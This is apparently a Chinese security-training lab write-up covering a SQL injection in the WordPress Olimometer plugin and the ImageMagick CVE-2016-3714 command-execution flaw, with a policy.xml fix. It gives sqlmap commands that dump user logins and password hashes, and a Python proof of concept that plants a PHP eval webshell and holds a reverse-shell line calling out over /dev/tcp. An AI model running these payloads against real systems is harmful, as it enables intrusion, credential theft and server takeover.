实验内容
WordPress（SQL）
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。它拥有世界上最强大的插件和模板，这也是WordPress非常流行的一个特性。它有数万中插件，供我们来使用包括SEO，控件等等，囊括了几乎所有互联网上可以实现的功能。
本次的漏洞就产生在一个插件上：Olimometer。
Olimometer
这个插件是一个完全可定制的筹款温度计，可以显示当前进度的进度条，它可以自定义的皮肤和有多种不同的样式，而插件目录一般安装在wp_content\plugins下，如图：
漏洞介绍
在WordPress中，Olimometer插件在<=2.56版本存在SQL注入，恶意访问者可以通过SQL注入获取网站敏感信息。
影响范围
Olimometer<= 2.56
漏洞危害
恶意访问者可以利用Sql注入，从而获取WordPress网站的后台管理密码，有可能直接得到网站WebShell，甚至危害到服务器的安全
漏洞成因
首先打开文件
我们首先打开操作机，进入文件夹C:/www/ichunqiu/wp_content/plugins可以看到一个文件夹olimometer，这个文件夹是之前从官网下载的olimometer插件包。
我们进入文件夹，看到thermometer.php文件，点击右键使用notepad++打开，如下：
此处传入的参数没有进行过滤，故存在SQL注入漏洞
先构造地址
http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1然后payload
sqlmap.py -u http://172.16.11.2/ichunqiu/wp-content
/plugins/olimometer-master/thermometer.php?olimometer_id=1
--dbs --threads=9 - 9代表最高的线程，速度会更快，因为我们是在本地测试，为了实验效率，将线程设置为9，但在真实的环境中，一般设置为3，或者默认即可，因此线程越大，被安全软件封杀的几率越高。
出库
爆破wordpess数据库的表名
sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
--dbs --threads=9 -D wordpress --tables出表
爆列名
sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
--dbs --threads=9 -D wordpress -T wp_users --columns 
最后爆字段名
sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1
--dbs --threads=9 -D wordpress -T wp_users -C user_login,user_pass --dump
//将wp_users列中，user_login,user_pass 两个字段下载，并显示到屏幕
总结：主要SQLMAP使用（讲解）
sqlmap.py -u -u意思是url 后面要添加一个url
http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1 URL
--dbs --threads=9 --dbs表示爆破库名，--thread表示线程为9
-D wordpress -D表示选择database，后面加要爆破的数据库
-T wp_users -T表示table，后面要加爆破的表
-C user_login,user_pass -C表示column，后面要加列名
--dump --dump表示下载下来
-------------------------------------------------------------------------------------------
PHPMmailer < 5.2.18远程代码执行漏洞
------------------------------------------------------------------------------------------
ImageMagick 命令执行漏洞
漏洞介绍
ImageMagick官方披露称，目前程序存在一处远程命令执行漏洞（CVE-2016–3714），当其处理的上传图片带有可利用的代码时，可被远程执行任意代码，进而可能控制服务器
影响范围
ImageMagick <= 6.9.3-9
漏洞危害
成功利用该漏洞后，恶意访问者可以远程任意代码执行，在本次演示中，恶意访问者可以执行EXP在网站根目录写入一句话木马，直接拿到WebShell
了解漏洞原理
ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。
我们在ImageMagick的默认配置文件里可以看到所有的委托： /etc/ImageMagick/delegates.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE delegatemap [
<!ELEMENT delegatemap (delegate)+>
<!ELEMENT delegate (#PCDATA)>
<!ATTLIST delegate decode CDATA #IMPLIED>
<!ATTLIST delegate encode CDATA #IMPLIED>
<!ATTLIST delegate mode CDATA #IMPLIED>
<!ATTLIST delegate spawn CDATA #IMPLIED>
<!ATTLIST delegate stealth CDATA #IMPLIED>
<!ATTLIST delegate thread-support CDATA #IMPLIED>
<!ATTLIST delegate command CDATA #REQUIRED>
]>
<!--
Delegate command file.
Commands which specify
decode="in_format" encode="out_format"
specify the rules for converting from in_format to out_format These
rules may be used to translate directly between formats.
Commands which specify only
decode="in_format"
specify the rules for converting from in_format to some format that
ImageMagick will automatically recognize. These rules are used to
decode formats.
Commands which specify only
encode="out_format"
specify the rules for an "encoder" which may accept any input format.
For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are
as follows:
%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution
<delegate decode="txt" encode="ps" mode="bi" command=""enscript" -o "%o" "%i""/>
<delegate decode="miff" encode="win" stealth="True" spawn="True" command=""/usr/bin/display" -immutable -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
<delegate decode="wmf" command=""wmf2eps" -o "%o" "%i""/>
<delegate decode="xps:color" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="xps:cmyk" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=bmpsep8" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="xps:mono" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
</delegatemap>我们可以看到，这里它定义了很多占位符，比如%i是输入的文件名，%l是图片exif label信息。而在后面command的位置，%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来，被拼接完毕的命令行传入了系统的system函数，而我们只需使用反引号（`）或闭合双引号，来执行任意命令。
漏洞报告中给出的POC是利用了如下的这个委托：
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>它在解析https图片的时候，使用了curl命令将其下载，我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式，叫mvg，而mvg与svg格式类似，其中是以文本形式写入矢量图的内容，而这其中就可以包含https处理过程。
所以我们可以构造一个.mvg格式的图片（但文件名可以不为.mvg，比如下图中包含payload的文件的文件名为vul.gif，而ImageMagick会根据其内容识别为mvg图片），并在后面闭合双引号，写入自己要执行的命令。
这样，ImageMagick在正常执行图片转换、处理的时候就会触发漏洞
本实验中已经构造好了POC文件，同学们可以阅读POC内容，并执行它，来实践和验证我们之前的理论。
进行复现过程
首先使用user 、123456的账号登录，然后切换到高权限用户，使用命令：
sudo su //切换用户
123456 //当前用户密码下面查看Docker当前有哪些可用的镜像，使用命令：
docker images //查看Docker当前已加载的镜像
启动镜像
docker run --name=wangxinyu -p 8080:80 -itd 3a52e631fa88 /bin/bash
- -p 表示
port，8080:80前者为默认的本地(127.0.0.1)端口，后者为镜像的端口 - --name 表示制定临时名称
- -itd 表示镜像在后台运行
然后进入镜像来启动apache服务，因为必须启动apache服务，网页才能正常的访问，使用命令：
docker exec -it wangxinyu /bin/bash //进入临时名为wangxinyu的镜像操作
service apache2 start // 启动http服务
启动完成之后，可以使用如下命令来查看是否启动成功
service apache2 status //查看服务状态然后exit
查看文件
执行poc
python poc.py 
这时候回显生成Shell，我们进入文件夹查看一下shell
我们再进入docker镜像里，查看是否真的写入了一句话文件，使用命令：
docker exec -it wangxinyu /bin/bash
cd /var/www/html/
cat shell.php 
生成了一句话后门shell
漏洞反思与总结
先查看一下poc
python
#!/usr/bin/env python
# coding:utf-8
import requests
import base64
def doPost(url, data):
post_data = {"img": base64.b64encode(data)}
try:
requests.post(url + "/poc.php", data=post_data, timeout=1)
except:
pass
# 写 webshell
def writeshell(url):
writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'
pop graphic-context
'''
doPost(url, writeshell)
resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
print "WebShell: " + url + "shell.php"
def reverse_shell(url):
reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""
# 反弹 shell
doPost(url, reverse_shell)
if __name__ == '__main__':
# 写 webshell
writeshell("http://172.16.11.2:8080/")
# 反弹 shell
# reverse_shell("http://127.0.0.1:8000/")实验分析与总结
修复
使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码：
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
5539
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
